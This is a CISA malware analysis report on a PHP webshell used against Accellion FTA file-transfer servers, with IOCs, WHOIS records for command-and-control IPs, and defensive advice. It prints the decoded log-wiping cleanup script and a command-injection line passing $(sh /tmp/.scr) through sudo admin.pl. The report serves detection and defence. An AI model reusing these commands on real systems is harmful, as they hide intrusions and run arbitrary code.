MAR-10325064-1.v1 - Accellion FTA

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Description

This Malware Analysis Report (MAR) analyzes a malicious Hypertext Preprocessor (PHP) webshell file submitted to CISA for analysis. The webshell is designed to be uploaded to an Accellion File Transfer Appliance (FTA) server, a secure file transfer application used by customers to send large files. The webshell leverages a Structured Query Language (SQL) injection vulnerability to install itself onto the impacted FTA server. The webshell provides threat actors with the ability to locate files, obtain file metadata, and download files stored on the Accellion FTA server.



This webshell has been used in recent cyberattacks targeting users of Accellion FTA. For more information on these attacks, refer to Joint Cybersecurity Advisory AA21-055A.

For a downloadable copy of IOCs, see: MAR-10325064-1.v1.stix.

Submitted Files (1)

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 (about.html)

IPs (9)

155.94.160.40

192.52.167.101

194.88.104.24

197.156.107.83

209.163.151.232

209.58.189.165

45.135.229.179

79.141.162.82

92.38.135.29

2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

The file, about.html, is a malicious Hypertext Preprocessor (PHP) webshell which leverages a SQL injection vulnerability to install itself onto the compromised Accellion FTA server. When the webshell is successfully installed, it provides threat actors the ability to download files stored on the FTA server.



Analysis indicates that the FTA server was compromised, which allows the threat actor the ability to craft an HTTP request directly to the webshell with commands that will be executed as if the threat actor had local (shell) access to the FTA server.



When executed on the compromised FTA server, the webshell will attempt to check if the HTTP request accessing this resource includes the parameters, "dwn" and "fn" (Figure 2). If the two parameters are available in the HTTP request, then the webshell will use the decrypt function to decrypt the contents of the original "dwn" parameter and store it in the value named "$path". It conducts the same process on the "fn" parameter and stores the value in the variable named "$fname". The webshell checks if the file located at "$path" exists on the compromised FTA server. If the file exits, then the "$path" and "$fname" variables are used to call the readfile function to read and download the contents of the targeted file.



Note: The encrypt and decrypt functions are undefined in the webshell, it's possible that both functions are included in either one or two of the files referenced by the webshell, "function.inc" and "remote.inc".



The file checks if the HTTP request has the parameter "csrftoken" and the parameter has the value "11454bd782bb41db213d415e10a0fb3c" (Figure 3). If so, the webshell will use the clean_up function to delete itself from the victim's system.



The clean_up function contains another function, file_put_contents. This function is used by the webshell to create the file "/tmp/.scr" and decode an encoded base64 string contained in the file (Figure 4).



Displayed below are the contents within the decoded base64 encoded string:



--Begin decoded contents within the base64 encoded string--

#!/bin/sh

for log in `ls /var/opt/apache/*log*`;do cat $log 2>/dev/null | grep -v 'about.html' > /tmp/x;mv /tmp/x $log;rm -rf /tmp/x;done

echo -n > /home/seos/log/adminpl.log;

rm -rf /home/httpd/html/about.html > /tmp/.out

rm -rfv /home/httpd/html/oauth.api > /tmp/.out

chmod 777 /tmp/.out

chown nobody:nobody /tmp/.out

echo > /var/log/secure

--End decoded contents within the base64 encoded string--



The decoded content "/tmp/.scr" is a script file used by the webshell to evade detection and analysis. The script file is designed to iterate through all logs in "/var/opt/apache/*log*" on the victim's system and return all the results not pertaining to about.html and store them in "/tmp/x". This file is used to replace the original log file before removing the file "/tmp/x" from the victim's system. This will results in Apache logs that have been sterilized for references to about.html and hinders log analysis capabilities.



The script file will attempt to remove "/home.seos/courier/about.html" and "/home/seos/courier/oauth.api" from the victim's system. Once these files are removed, it will redirects standard output to "/tmp/.out" before modifying its ownership and permissions making it more difficult to recover and analyze.



The script file is executed by invoking the Perl System function, which is used for executing arbitrary Unix commands on a system. The "admin.pl" is used to execute the script file.



Displayed below is the command used to execute the script file:



--Begin command--

@system('sudo /usr/local/bin/admin.pl --mount_cifs=AF,DF,"\'\$(sh /tmp/.scr)\'",PASSWORD 1>/dev/null 2>/dev/null');

--End command--



The script file "/tmp/.scr" and "/tmp/.out" will later be unlinked and deleted from the victim's system.



If the HTTP request does not match the parameters for downloading file contents (Figure 2) or performing the cleanup process (Figure 3), then the webshell expects to receive an application ID from the parameter aid obtained from the HTTP request (Figure 5). This application ID is used to open the associated database and execute a SQL command against it (Figure 6).



The cleanup mechanism is invoked to remove the webshell from the system and Apache logs only if the webshell returns no results from the SQL query executed on the victim's system. If the webshell returns results from the SQL query executed on the victim's system, then the results are returned to the webshell in a table (Figure 1). This technique allows the threat actor to manually download file contents or initiate the cleanup process by clicking on their respective links.



Displayed below are Indicators of Compromise (IOCs) related to this malicious webshell:



--Begin file system artifacts contained in the webshell--

/home/seos/courier/about.html

/tmp/.scr

/tmp/.out

--End file system artifacts contained in the webshell--



--Begin IP addresses--

209.58.189.165

197.156.107.83

194.88.104.24

45.135.229.179

92.38.135.29

155.94.160.40

209.163.151.232

79.141.162.82

192.52.167.101

--End IP addresses--



The URIs contains the following parameters (Figure 2&5):

--Begin URIs parameters--

dwn

fn

aid

--End URIs parameters--



URIs contains the following parameter and its corresponding value (Figure 3):



--Begin URIs parameter and value--

parameter: csrftoken

value: 11454bd782bb41db213d415e10a0fb3c

--End URIs parameter and value--

Screenshots

209.58.189.165

Tags

command-and-control

Whois

inetnum:        209.58.184.0 - 209.58.191.255

netname:        LSW-HKG-10

descr:         LeaseWeb Asia Pacific - Hong Kong

descr:         Please send all abuse notifications to the following email address: abuse@sg.leaseweb.com. To ensure proper processing of your abuse notification, please visit the website www.leaseweb.com/abuse for notification requirements. All police and other government agency requests must be sent to subpoenas@sg.leaseweb.com.

country:        HK

admin-c:        LA249-AP

tech-c:         LA249-AP

abuse-c:        AL1457-AP

status:         ALLOCATED NON-PORTABLE

mnt-by:         MAINT-LSW-SG

mnt-irt:        IRT-LSW-SG

last-modified: 2021-01-27T13:17:29Z

source:         APNIC



irt:            IRT-LSW-SG

address:        18B Keong Saik Road, Singapore 089125

e-mail:         apnic@sg.leaseweb.com

abuse-mailbox: abuse@sg.leaseweb.com

admin-c:        LAPP1-AP

tech-c:         LAPP1-AP

auth:         # Filtered

remarks:        apnic@sg.leaseweb.com was validated on 2020-12-23

remarks:        abuse@sg.leaseweb.com was validated on 2021-02-04

mnt-by:         MAINT-LSW-SG

last-modified: 2021-02-04T12:48:04Z

source:         APNIC



role:         ABUSE LSWSG

address:        18B Keong Saik Road, Singapore 089125

country:        ZZ

phone:         +000000000

e-mail:         apnic@sg.leaseweb.com

admin-c:        LAPP1-AP

tech-c:         LAPP1-AP

nic-hdl:        AL1457-AP

remarks:        Generated from irt object IRT-LSW-SG

abuse-mailbox: abuse@sg.leaseweb.com

mnt-by:         APNIC-ABUSE

last-modified: 2020-06-03T13:05:57Z

source:         APNIC



person:         LSW Apnic

address:        18B Keong Saik Road, Singapore 089125

country:        SG

phone:         +6531587350

e-mail:         apnic@sg.leaseweb.com

nic-hdl:        LA249-AP

mnt-by:         MAINT-LSW-SG

last-modified: 2016-06-06T08:59:04Z

source:         APNIC



% Information related to '209.58.184.0/21AS133752'



route:         209.58.184.0/21

descr:         LeaseWeb Asia Pacific Hong Kong

origin:         AS133752

mnt-by:         MAINT-LSW-SG

last-modified: 2015-10-22T06:43:03Z

source:         APNIC

Relationships

Description

The webshell attempts to connect to this IP address.

197.156.107.83

Tags

command-and-control

Whois

inetnum:        197.156.106.0 - 197.156.107.255

netname:        To_ERs_logically_close_to_MK-BR

descr:         To ERs logically close to MK-BR

country:        ET

admin-c:        ET4-AFRINIC

tech-c:         ETID1-AFRINIC

status:         ASSIGNED PA

mnt-by:         ETC-MNT

source:         AFRINIC # Filtered

parent:         197.156.64.0 - 197.156.127.255



person:         Ethio Telecom

nic-hdl:        ET4-AFRINIC

address:        Churchill Road

address:        Addis Ababa 1047

address:        Ethiopia

phone:         tel:+251-91-151-0433

phone:         tel:+251-91-152-4200

phone:         tel:+251-91-150-8279

phone:         tel:+251-91-150-9821

phone:         tel:+251-91-151-0425

phone:         tel:+251-91-150-9835

mnt-by:         GENERATED-GRXPERJUPKL2DTQEXFFNEHRZHJZDFRJ7-MNT

source:         AFRINIC # Filtered



person:         Ethio Telecom IS Division

address:        Ethio telecom

address:        Legehar Information System division

address:        Addis Ababa, Ethiopia

address:        Addis Ababa

address:        Ethiopia

phone:         tel:+251-91-125-6562

fax-no:         tel:+251-11-552-3296

nic-hdl:        ETID1-AFRINIC

mnt-by:         GENERATED-ZPSFE1E8AGHQZZFKT4YYQSIX58FJ1MZ4-MNT

source:         AFRINIC # Filtered



% Information related to '197.156.64.0/18AS24757'



route:         197.156.64.0/18

descr:         Ethio Telecom

origin:         AS24757

member-of:     rs-ethiotelecom

mnt-by:         ETC-MNT

source:         AFRINIC # Filtered

Relationships

Description

The webshell attempts to connect to this IP address.

194.88.104.24

Tags

command-and-control

Relationships

Description

The webshell attempts to connect to this IP address.

45.135.229.179

Tags

command-and-control

Whois

inetnum:        45.135.229.0 - 45.135.229.255

netname:        GCL-CUSTOMER-US

descr:         G-Core Labs Customer assignment

country:        US

admin-c:        LA5122-RIPE

tech-c:         LA5122-RIPE

status:         ASSIGNED PA

mnt-by:         GCL1-MNT

created:        2019-12-05T12:00:26Z

last-modified: 2019-12-05T12:00:26Z

source:         RIPE

geoloc:         38.747203 -77.531658



person:         LIR Admin

address:        G-Core Labs S.A.

address:        2A Rue Albert Borschette

address:        1246 Luxembourg

phone:         +352-691-045488

e-mail:         noc@gcore.lu

nic-hdl:        LA5122-RIPE

mnt-by:         WGI1-MNT

mnt-by:         GCL1-MNT

created:        2012-12-05T15:05:34Z

last-modified: 2015-12-10T08:56:40Z

source:         RIPE



% Information related to '45.135.229.0/24AS199524'



route:         45.135.229.0/24

descr:         GCL-45-135-229-0-24

origin:         AS199524

mnt-by:         GCL1-MNT

created:        2019-08-12T12:36:11Z

last-modified: 2019-08-12T12:36:11Z

source:         RIPE

Relationships

Description

The webshell attempts to connect to this IP address.

92.38.135.29

Tags

command-and-control

Whois

inetnum:        92.38.134.0 - 92.38.135.255

netname:        GCL-CUSTOMER-KOREA

descr:         G-Core Labs Customer assignment

country:        KR

org:            ORG-WIG6-RIPE

admin-c:        LA5122-RIPE

tech-c:         LA5122-RIPE

mnt-by:         GCL1-MNT

status:         ASSIGNED PA

created:        2017-09-25T13:07:39Z

last-modified: 2017-09-25T13:07:39Z

source:         RIPE

geoloc:         37.534 126.991



organisation: ORG-WIG6-RIPE

org-name:     G-Core Labs S.A.

country:        LU

org-type:     LIR

address:        2A Rue Albert Borschette

address:        1246

address:        Luxembourg

address:        LUXEMBOURG

phone:         +375293666245

e-mail:         noc@gcore.lu

abuse-c:        AC23417-RIPE

mnt-ref:        GCL1-MNT

mnt-ref:        RIPE-NCC-HM-MNT

mnt-by:         GCL1-MNT

mnt-by:         RIPE-NCC-HM-MNT

created:        2012-12-05T13:21:56Z

last-modified: 2020-12-16T14:53:47Z

source:         RIPE



person:         LIR Admin

address:        G-Core Labs S.A.

address:        2A Rue Albert Borschette

address:        1246 Luxembourg

phone:         +352-691-045488

e-mail:         noc@gcore.lu

nic-hdl:        LA5122-RIPE

mnt-by:         WGI1-MNT

mnt-by:         GCL1-MNT

created:        2012-12-05T15:05:34Z

last-modified: 2015-12-10T08:56:40Z

source:         RIPE



% Information related to '92.38.135.0/24AS199524'



route:         92.38.135.0/24

descr:         GCL-92-38-135

origin:         AS199524

mnt-by:         GCL1-MNT

created:        2017-07-31T09:22:46Z

last-modified: 2017-07-31T09:22:46Z

source:         RIPE



% Information related to '92.38.135.0/24AS202422'



route:         92.38.135.0/24

descr:         GCL-92-38-135-0-24

origin:         AS202422

mnt-by:         GCL1-MNT

created:        2019-06-26T15:14:58Z

last-modified: 2019-06-26T15:14:58Z

source:         RIPE

Relationships

Description

The webshell attempts to connect to this IP address.

155.94.160.40

Tags

command-and-control

Whois

NetRange:     155.94.160.0 - 155.94.160.255

CIDR:         155.94.160.0/24

NetName:        QN-246326932

NetHandle:     NET-155-94-160-0-1

Parent:         QUADRANET (NET-155-94-128-0-1)

NetType:        Reassigned

OriginAS:    

Customer:     myserverplanet ltd (C05467676)

RegDate:        2014-11-24

Updated:        2014-11-24

Comment:        Abuse: abuse@quadranet.com

Ref:            https://rdap.arin.net/registry/ip/155.94.160.0





CustName:     myserverplanet ltd

Address:        117 E. First Street

City:         Monticello

StateProv:     IA

PostalCode:     52310

Country:        US

RegDate:        2014-11-24

Updated:        2018-08-30

Ref:            https://rdap.arin.net/registry/entity/C05467676



OrgTechHandle: QNO6-ARIN

OrgTechName: QuadraNet Network Operations

OrgTechPhone: +1-213-614-9371

OrgTechEmail: support@quadranet.com

OrgTechRef:    https://rdap.arin.net/registry/entity/QNO6-ARIN



OrgAbuseHandle: QUADR4-ARIN

OrgAbuseName: QuadraNet Abuse

OrgAbusePhone: +1-213-614-8371

OrgAbuseEmail: abuse@quadranet.com

OrgAbuseRef:    https://rdap.arin.net/registry/entity/QUADR4-ARI

Relationships

Description

The webshell attempts to connect to this IP address.

209.163.151.232

Tags

command-and-control

Whois

NetRange:     209.163.151.0 - 209.163.151.255

CIDR:         209.163.151.0/24

NetName:        TWTC-DIGDEF-01

NetHandle:     NET-209-163-151-0-1

Parent:         TWTC-NETBLK-12 (NET-209-163-128-0-1)

NetType:        Reassigned

OriginAS:    

Organization: DIGITAL DEFENSE INCORPORATED (DIGIT-45)

RegDate:        2004-03-31

Updated:        2009-08-31

Ref:            https://rdap.arin.net/registry/ip/209.163.151.0





OrgName:        DIGITAL DEFENSE INCORPORATED

OrgId:         DIGIT-45

Address:        1711 CITADEL PLAZA

City:         SAN ANTONIO

StateProv:     TX

PostalCode:     78209

Country:        US

RegDate:        2004-03-31

Updated:        2017-11-06

Ref:            https://rdap.arin.net/registry/entity/DIGIT-45

Relationships

Description

The webshell attempts to connect to this IP address.

79.141.162.82

Tags

command-and-control

Whois

inetnum:        79.141.162.0 - 79.141.163.255

netname:        HZ-NA23

country:        US

admin-c:        VD3206-RIPE

tech-c:         VD3206-RIPE

status:         ASSIGNED PA

mnt-by:         HZ-HOSTING-LTD

created:        2018-08-03T14:27:37Z

last-modified: 2018-08-03T14:27:37Z

source:         RIPE



nic-hdl:        VD3206-RIPE

mnt-by:         HZ-HOSTING-LTD

created:        2016-11-28T15:25:07Z

last-modified: 2016-11-28T15:25:07Z

source:         RIPE

Relationships

Description

The webshell attempts to connect to this IP address.

192.52.167.101

Tags

command-and-control

Whois

NetRange:     192.52.166.0 - 192.52.167.255

CIDR:         192.52.166.0/23

NetName:        CROWNCLOUD01

NetHandle:     NET-192-52-166-0-1

Parent:         NET192 (NET-192-0-0-0-0)

NetType:        Direct Allocation

OriginAS:     AS29761

Organization: Crowncloud US LLC (CUL-34)

RegDate:        2014-10-14

Updated:        2014-10-16

Comment:        Addresses in this block are statically assigned. Send abuse reports if any to admin@crowncloud.us

Ref:            https://rdap.arin.net/registry/ip/192.52.166.0





OrgName:        Crowncloud US LLC

OrgId:         CUL-34

Address:        530 W 6th St

Address:        C/O Cid 4573 Quadranet Inc. Ste 901

City:         Los Angeles

StateProv:     CA

PostalCode:     90014-1207

Country:        US

RegDate:        2014-07-25

Updated:        2017-10-10

Ref:            https://rdap.arin.net/registry/entity/CUL-34





OrgAbuseHandle: CROWN9-ARIN

OrgAbuseName: Crowncloud Support

OrgAbusePhone: +1-940-867-4072

OrgAbuseEmail: admin@crowncloud.us

OrgAbuseRef:    https://rdap.arin.net/registry/entity/CROWN9-ARIN



OrgTechHandle: CROWN9-ARIN

OrgTechName: Crowncloud Support

OrgTechPhone: +1-940-867-4072

OrgTechEmail: admin@crowncloud.us

OrgTechRef:    https://rdap.arin.net/registry/entity/CROWN9-ARIN

Relationships

Description

The webshell attempts to connect to this IP address.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

• 1-888-282-0870
• CISA Central (UNCLASS)
• CISA SIPR (SIPRNET)
• CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.